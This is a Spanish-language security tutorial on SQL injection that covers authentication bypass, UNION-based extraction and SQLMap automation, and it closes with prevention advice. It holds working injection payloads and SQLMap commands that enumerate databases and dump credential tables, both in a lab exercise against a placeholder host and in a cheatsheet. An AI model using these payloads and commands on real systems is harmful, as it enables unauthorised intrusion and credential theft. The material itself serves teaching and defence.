Técnico20 de abril de 20268 min de lectura

SQL Injection y SQLMap: de la teoría a la explotación

Qué es SQL Injection, cómo funciona el bypass de autenticación y los ataques UNION-Based, y cómo automatizar la explotación completa con SQLMap: enumeración de bases de datos, tablas y extracción de credenciales.


SQL Injection (SQLi) es una de las vulnerabilidades web más críticas y longevas del mundo del hacking. Aparece consistentemente en el OWASP Top 10 y sigue siendo uno de los vectores de ataque más explotados en aplicaciones reales. En este post verás cómo funciona desde la teoría hasta la explotación automatizada con SQLMap.


¿Qué es SQL Injection?

Cuando una aplicación web construye consultas SQL concatenando directamente la entrada del usuario, sin sanitizarla, un atacante puede inyectar código SQL propio dentro de esa consulta y alterar su lógica.

Analogía: Imagina un sitio web como un camarero que toma tu pedido (entrada del usuario) y lo lleva a la cocina (base de datos). SQLi es como susurrarle instrucciones extra al camarero: "y de paso, tráeme también todas las contraseñas del gerente".

El impacto puede ir desde leer datos sensibles hasta tomar control total de la base de datos.


Cómo funciona: evasión de autenticación

El ejemplo más clásico es el bypass de login. Una aplicación vulnerable podría ejecutar esta consulta:

SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT';

Si introduces como contraseña ' OR 1=1 --, la consulta resultante es:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --';

Dos cosas ocurren:

  • OR 1=1 — siempre es verdadero, por lo que la condición entera se cumple.
  • -- — comenta el resto de la consulta, ignorando la verificación real de contraseña.

Resultado: la base de datos devuelve el registro y el atacante entra sin conocer la contraseña real.


Tipos de SQL Injection

TipoDescripción
In-Band (clásico)La respuesta llega en el mismo canal: la web muestra directamente los datos extraídos.
Error-BasedSe fuerzan errores SQL para que el motor revele información en el mensaje de error.
Union-BasedSe usa UNION SELECT para añadir una segunda consulta y extraer datos de otras tablas.
Blind BooleanNo hay salida visible, pero el comportamiento de la app cambia según si la condición es verdadera o falsa.
Blind Time-BasedSe mide el tiempo de respuesta con funciones como SLEEP() para inferir datos sin salida visible.

UNION: el operador clave

UNION permite combinar los resultados de dos consultas SELECT. Para que funcione en un ataque, ambas consultas deben devolver el mismo número de columnas y tipos compatibles.

-- Primero identificamos cuántas columnas tiene la consulta original
SELECT * FROM products WHERE id = 1 UNION SELECT NULL, NULL, NULL --

-- Luego extraemos datos de otra tabla
SELECT * FROM products WHERE id = 1 UNION SELECT username, password, NULL FROM users --

SQLMap: automatización del ataque

Detectar y explotar SQLi manualmente es tedioso. SQLMap automatiza todo el proceso: detecta el tipo de inyección, enumera la base de datos y extrae los datos.

Sintaxis básica

sqlmap -u "http://objetivo.com/pagina?id=1"

El parámetro -u indica la URL vulnerable. SQLMap probará automáticamente distintas técnicas de inyección sobre el parámetro id.

Flujo de enumeración paso a paso

1. Listar todas las bases de datos disponibles

sqlmap -u "http://objetivo.com/pagina?id=1" --dbs

2. Listar tablas de una base de datos concreta

sqlmap -u "http://objetivo.com/pagina?id=1" -D nombre_db --tables

3. Listar columnas de una tabla

sqlmap -u "http://objetivo.com/pagina?id=1" -D nombre_db -T nombre_tabla --columns

4. Extraer (dump) los datos de una tabla

sqlmap -u "http://objetivo.com/pagina?id=1" -D nombre_db -T nombre_tabla --dump

Flags adicionales útiles

FlagFunción
--dump-allExtrae absolutamente todo (usar con precaución)
--wizardModo asistente interactivo para principiantes
--level=5 --risk=3Aumenta la agresividad de los tests
--batchResponde automáticamente a todas las preguntas (modo no interactivo)
--formsDetecta y prueba automáticamente formularios HTML en la página
-p <parámetro>Especifica manualmente el parámetro a inyectar
--cookie="PHPSESSID=..."Incluye cookies de sesión (para páginas que requieren login)

Ejercicio práctico: login vulnerable

El escenario: una página de login en http://MAQUINA/ai/includes/user_login?email=test&password=test.

Paso 1 — Identificar la superficie de ataque

Los parámetros email y password en la URL son candidatos directos. Se pueden capturar también con Burp Suite si el formulario usa POST.

Paso 2 — Enumerar bases de datos

sqlmap -u "http://MAQUINA/ai/includes/user_login?email=test&password=test" --dbs

Resultado: se encuentran 6 bases de datos (ai, information_schema, mysql, performance_schema, phpmyadmin, test).

Paso 3 — Enumerar tablas en ai

sqlmap -u "http://MAQUINA/ai/includes/user_login?email=test&password=test" -D ai --tables

Resultado: tabla user.

Paso 4 — Extraer los datos

sqlmap -u "http://MAQUINA/ai/includes/user_login?email=test&password=test" -D ai -T user --dump

SQLMap extrae las columnas id, email y password con todos sus registros. Credenciales obtenidas.


Prevención

SQL Injection se previene con una sola regla: nunca concatenar entrada del usuario directamente en una consulta SQL.

  • Prepared Statements / Parameterized Queries — el método correcto. La consulta y los datos viajan separados; el motor de base de datos los trata de forma independiente y ningún dato puede ser interpretado como código SQL.
  • ORM (Object-Relational Mapper) — frameworks como SQLAlchemy, Hibernate o ActiveRecord gestionan las consultas de forma segura por defecto.
  • Validación de entrada — filtrar y validar el tipo y formato esperado de cada campo, aunque nunca debe ser la única medida.
  • Principio de mínimo privilegio — el usuario de base de datos de la aplicación solo debería tener los permisos estrictamente necesarios (SELECT en producción, jamás DROP).

Cheatsheet rápida

# Detección básica
sqlmap -u "http://objetivo.com/page?id=1"

# Enumerar bases de datos
sqlmap -u "http://objetivo.com/page?id=1" --dbs

# Enumerar tablas
sqlmap -u "http://objetivo.com/page?id=1" -D mydb --tables

# Dump completo de una tabla
sqlmap -u "http://objetivo.com/page?id=1" -D mydb -T users --dump

# Con sesión autenticada
sqlmap -u "http://objetivo.com/page?id=1" --cookie="session=abc123" --dbs

# Modo no interactivo, máxima agresividad
sqlmap -u "http://objetivo.com/page?id=1" --dbs --batch --level=5 --risk=3
Tiempo en página 0:00Lectura estimada: 8 min

Posts relacionados

WriteupFácilLinux

TryHackMe: Writeup de Vulnversity

Resolución de la room Vulnversity de TryHackMe: enumeración con Nmap y Gobuster, bypass de filtro de extensiones con Burp Intruder, reverse shell en PHP y escalada via systemctl SUID.

25 de febrero de 202612 min